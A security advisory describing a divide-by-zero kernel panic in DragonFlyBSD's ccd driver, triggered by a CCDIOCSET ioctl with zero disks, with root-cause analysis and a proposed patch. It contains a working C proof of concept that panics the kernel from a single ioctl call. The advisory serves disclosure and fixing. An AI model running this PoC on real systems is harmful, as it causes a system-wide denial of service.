• File: sys/dev/disk/ccd/ccd.c
• Lines: 1319, 416, 514, 515, 578, 580
• Severity: Low
• CVSS: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
• CWE: CWE-369 Divide By Zero
• Confidence: certain

Summary

CCDIOCSET only rejects ccio_ndisks > CCD_MAXNDISKS (ccd.c:1319); it accepts ccio_ndisks == 0. With zero components, the component-enumeration loop in ccdinit (ccd.c:418) never runs, so maxsecsize stays at its initial 0 (ccd.c:416).

Execution then reaches either sc_ileave % (maxsecsize/DEV_BSIZE) at ccd.c:515 (when the user sets any non-zero interleave) or 1024*1024/ccg_secsize at ccd.c:580 (when interleave is 0). Both compile to an x86 div/idiv with a zero divisor, raising #DE and panicking the kernel.

Root cause

ccdioctl validates only the upper bound at ccd.c:1319 (if (ccio->ccio_ndisks > CCD_MAXNDISKS)), never the lower bound.

ccdinit initializes maxsecsize = 0 at ccd.c:416 and only updates it inside the component loop at ccd.c:465-466 (if (maxsecsize < dpart.media_blksize) maxsecsize = dpart.media_blksize;).

When sc_nccdisks==0 (set at ccd.c:402 from ccd.ccd_ndev=ccio->ccio_ndisks at ccd.c:1389) the for-loop at ccd.c:418 is skipped entirely, leaving maxsecsize==0.

Two divide-by-zero sinks are then reachable:

• (a) ccd.c:514-515 if ((cs->sc_ileave > 0) && (cs->sc_ileave % (maxsecsize / DEV_BSIZE))) — short-circuit avoids this only when sc_ileave==0;
• (b) ccd.c:578-580 ccg->ccg_secsize = maxsecsize; ccg->ccg_nsectors = 1024 * 1024 / ccg->ccg_secsize; — always reached for ileave==0 (the UNIFORM branch at ccd.c:534 either errors out for mirror/parity or sets sc_size=0 but still falls through to ccd.c:572 and ccd.c:578).

At least one of the two sinks fires for every combination of user-supplied ileave/flags when ndisks==0.

The CPP/VPP zero-sized kmallocs at ccd.c:1350,1352 and the zero-sized sc_cinfo kmalloc at ccd.c:405 are harmless (loops over them are skipped), so the only impact is the panic — no memory corruption.

Threat

A local process holding an O_RDWR fd on /dev/ccdN (default devfs mode 0640 root:operator per subr_disk.c:703, so effectively uid 0) issues CCDIOCSET with ccio_ndisks=0.

The kernel divides by zero and panics immediately in the issuing thread's syscall context. This is a reliable single-shot system-wide denial of service (kernel panic, reboot required).

It does not grant code execution or information disclosure.

Impact is intentionally rated Low because the trigger requires root, who already has many trivial panic vectors (kldunload, /dev/mem); the value of the finding is robustness: a pseudo-disk driver should never panic on ioctl input.

The path becomes more interesting in any environment where devfs rules relax /dev/ccd* permissions, or where a composed stack exposes the ioctl to a less-privileged service.

Exploit / PoC

Build on DragonFlyBSD:

cc -o poc_ccd_ndisks0 poc_ccd_ndisks0.c
./poc_ccd_ndisks0       # as root

The kernel panics with a #DE fault (typical signature: kernel: type 12 trap, code=0 / integer divide fault / divide error in dmesg, then reboot).

/* poc_ccd_ndisks0.c */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/ccdvar.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

int main(void) {
    int fd = open("/dev/ccd0", O_RDWR, 0);
    if (fd < 0) { perror("open /dev/ccd0"); return 1; }
    struct ccd_ioctl ccio;
    memset(&ccio, 0, sizeof(ccio));
    ccio.ccio_disks  = NULL;   /* never dereferenced because ndisks==0 */
    ccio.ccio_ndisks = 0;      /* trips the bug: only >65536 is rejected */
    ccio.ccio_ileave = 32;     /* non-zero: triggers sink (a) at ccd.c:515 first */
    ccio.ccio_flags  = 0;      /* plain concat (also panics via sink (b) at ccd.c:580 if ileave set to 0) */
    if (ioctl(fd, CCDIOCSET, &ccio) < 0) perror("CCDIOCSET");
    close(fd);
    return 0;
}

Success criterion: kernel panic from a single ioctl call; no setup beyond having the ccd module loaded (kldload ccd) and root write access to /dev/ccd0.

Alternate variant with ccio_ileave=0 also panics, via sink (b).

Recommended fix

Reject zero-component configurations in ccdioctl, and harden the two divide sites in ccdinit against maxsecsize==0.

--- a/sys/dev/disk/ccd/ccd.c
+++ b/sys/dev/disk/ccd/ccd.c
@@ -1316,6 +1316,11 @@ ccdioctl(struct dev_ioctl_args *ap)
        if ((error = ccdlock(cs)) != 0)
            return (error);

+       if (ccio->ccio_ndisks == 0) {
+           ccdunlock(cs);
+           return (EINVAL);
+       }
+
        if (ccio->ccio_ndisks > CCD_MAXNDISKS) {
            ccdunlock(cs);
            return (EINVAL);
@@ -510,7 +515,8 @@ ccdinit(struct ccddevice *ccd, char **cpaths, struct ucred *cred)
    /*
     * Don't allow the interleave to be smaller than
     * the biggest component sector.
     */
-   if ((cs->sc_ileave > 0) &&
+   if (maxsecsize >= DEV_BSIZE &&
+       (cs->sc_ileave > 0) &&
        (cs->sc_ileave % (maxsecsize / DEV_BSIZE))) {
 #ifdef DEBUG
        if (ccddebug & (CCDB_FOLLOW|CCDB_INIT))
@@ -575,6 +581,11 @@ ccdinit(struct ccddevice *ccd, char **cpaths, struct ucred *cred)
    /*
     * Create pseudo-geometry based on 1MB cylinders.  It's
     * pretty close.
     */
    ccg->ccg_secsize = maxsecsize;
+   if (ccg->ccg_secsize == 0 || ccg->ccg_secsize > 1024 * 1024) {
+       error = EINVAL;
+       goto fail;
+   }
    ccg->ccg_ntracks = 1;
    ccg->ccg_nsectors = 1024 * 1024 / ccg->ccg_secsize;
    ccg->ccg_ncylinders = cs->sc_size / ccg->ccg_nsectors;

The primary fix is the explicit ccio_ndisks == 0 rejection in ccdioctl; the two added guards in ccdinit are defense-in-depth so a future caller of ccdinit cannot re-introduce the same panic via a zero maxsecsize.

The > 1024*1024 upper bound also prevents the symmetric divide-by-zero (ccg_nsectors==0) that would occur for an exotic component reporting a sector size larger than 1 MB.